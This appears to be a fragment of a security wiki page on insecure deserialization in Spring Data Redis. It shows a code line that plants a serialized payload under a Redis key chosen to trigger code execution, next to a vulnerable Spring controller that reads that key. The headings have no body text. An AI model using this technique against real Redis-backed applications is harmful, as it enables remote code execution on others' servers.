Spring Data Redis Insecure Deserialization
Spring Data Redis overview
Insecure deserialization
References
Last updated
Last updated
// Try to choose a key that already exists in Redis so that code execution can start when Spring retrieves data
redis.set("\xac\xed\x00\x05t\x00\brebeyond", payload);@Controller
public class HelloController {
protected RedisTemplate<Serializable, Serializable> redisTemplate;
@GetMapping("/")
public String index() {
Object result = redisTemplate.opsForValue().get("rebeyond");
return "index";
}
}